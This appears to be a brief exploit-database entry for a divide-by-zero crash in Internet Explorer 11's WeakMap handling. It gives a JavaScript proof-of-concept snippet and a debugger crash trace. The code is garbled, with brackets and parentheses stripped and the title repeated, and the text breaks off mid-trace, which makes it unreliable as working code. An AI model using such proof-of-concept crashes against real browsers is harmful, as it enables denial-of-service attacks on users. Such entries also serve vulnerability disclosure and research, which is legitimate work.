Microsoft Internet Explorer 11 - WeakMap Integer Divide-by-Zero

Microsoft Internet Explorer 11 - WeakMap Integer Divide-by-Zero var a = new WeakMap; a.pushnew WeakMap; a1.seta0, a1; a0.deletea0; ,1::TryGetValueAndRemove+0x1f: 668756f0 f736 div eax,dword ptr esi ds:002b:04598cc8=00000000 --...